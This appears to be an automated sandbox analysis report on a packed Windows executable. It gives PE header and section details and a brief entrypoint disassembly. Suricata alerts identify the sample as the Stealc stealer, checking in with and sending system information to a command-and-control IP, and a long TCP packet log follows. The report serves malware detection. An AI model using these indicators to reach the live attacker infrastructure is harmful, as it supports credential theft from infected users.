Entrypoint:	0xa89000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007EFF30E4655Ah
setbe byte ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	78994daa8dd363016e304ca38bb63739	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x294000	0x200	8b663824acf90d53547f464f6aec130c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jkkfhtmw	0x4f2000	0x196000	0x195600	217499754322624596ade97ebb3ca195	False	0.995069910191181	data	7.954287955136608	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zozbrbui	0x688000	0x1000	0x400	80f24f225d70869e209ebece21d30af4	False	0.693359375	data	5.613189009352062	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x689000	0x3000	0x2200	83ac7c6ff1f35663af49fb4b3e17d5af	False	0.05112591911764706	DOS executable (COM)	0.5501016344601598	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-13T00:47:41.718649+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-13T00:47:41.942120+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-13T00:47:41.948166+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.6	49711	TCP
2024-10-13T00:47:42.165068+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-13T00:47:42.188955+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.6	49711	TCP
2024-10-13T00:47:43.316829+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-13T00:47:43.816165+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-13T00:47:50.521545+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-13T00:47:51.757897+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-13T00:47:52.482776+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-13T00:47:53.013625+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-13T00:47:54.718986+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-13T00:47:55.117974+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49711	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 13, 2024 00:47:40.771689892 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:40.777776957 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:40.777869940 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:40.778533936 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:40.783335924 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:41.479146004 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:41.479429007 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:41.483819008 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:41.488579035 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:41.718581915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:41.718648911 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:41.720117092 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:41.724956989 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:41.941970110 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:41.941998959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:41.942120075 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:41.943351984 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:41.948165894 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:42.164860010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:42.164884090 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:42.164895058 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:42.164953947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:42.164964914 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:42.164978027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:42.165067911 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:42.165126085 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:42.183732033 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:42.188955069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:42.405411005 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:42.405471087 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:42.471851110 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:42.471851110 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:42.476809025 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:42.476823092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:42.476840019 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:42.476849079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:42.477610111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:42.477619886 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:42.477653980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.316711903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.316828966 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.596288919 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.601152897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.816065073 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.816078901 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.816167116 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.816164970 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.816206932 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.816214085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.816225052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.816247940 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.816266060 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.816283941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.816314936 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.816718102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.816755056 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.816972017 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.817007065 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.817056894 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.817090988 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.817132950 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.817145109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.817157984 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.817167997 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.817183971 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.817198992 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.817223072 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.817255974 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.941541910 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.941608906 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.941648960 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.941684961 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.941731930 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.941797018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.941832066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.941843033 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.941867113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.941874027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.941904068 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.943603992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.943639040 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.943655014 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.943674088 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.943675041 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.943706989 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.943713903 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.943743944 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.943743944 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.943778992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.943783998 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.943819046 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.946198940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.946233988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.946261883 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.946268082 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.946293116 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.946302891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.946310043 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.946336985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.946341038 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.946376085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.946382999 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.946419001 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.947825909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.947860003 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.947875023 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.947894096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.947899103 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.947935104 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:43.947940111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.947954893 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:43.948019028 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.063851118 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.063880920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.063890934 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.063961029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.063961029 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.064012051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.064066887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.064104080 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.064157009 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.064208984 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.064220905 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.064234018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.064259052 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.064335108 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.064347029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.064376116 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.064860106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.064907074 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.064933062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.064944029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.064968109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.065001011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.065012932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.065047026 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.065457106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.065506935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.065535069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.065546036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.065577030 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.065665960 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.065677881 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.065689087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.065710068 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.065735102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.066438913 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.066485882 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.066504955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.066515923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.066540003 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.066555977 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.066663980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.066675901 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.066688061 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.066705942 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.066730022 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.067416906 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.067462921 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.067470074 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.067482948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.067506075 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.067533970 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.067640066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.067651033 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.067662954 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.067682028 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.067701101 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.068408966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.068469048 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.068522930 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.068557978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.068577051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.068597078 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.068646908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.068681002 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.068686962 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.068716049 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.068717003 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.068751097 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.069439888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.069494963 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.069504023 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.069533110 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.069550991 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.069572926 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.069602013 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.069636106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.069648981 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.069674015 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.069674969 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.069710970 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.153861046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.153886080 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.153903961 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.153978109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.153978109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.189295053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.189347029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.189382076 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.189402103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.189439058 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.189461946 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.189461946 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.189491987 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.189495087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.189528942 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.189547062 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.189565897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.189572096 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.189621925 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.189623117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.189661980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.189671993 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.189696074 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.189712048 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.189737082 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.189738035 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.189774990 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.189791918 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.189829111 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.189884901 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.189919949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.189938068 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.189954042 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.189979076 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.189991951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.190000057 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.190042973 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.190226078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.190259933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.190278053 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.190294027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.190304995 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.190327883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.190342903 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.190363884 CEST	80	49711	185.215.113.37	192.168.2.6
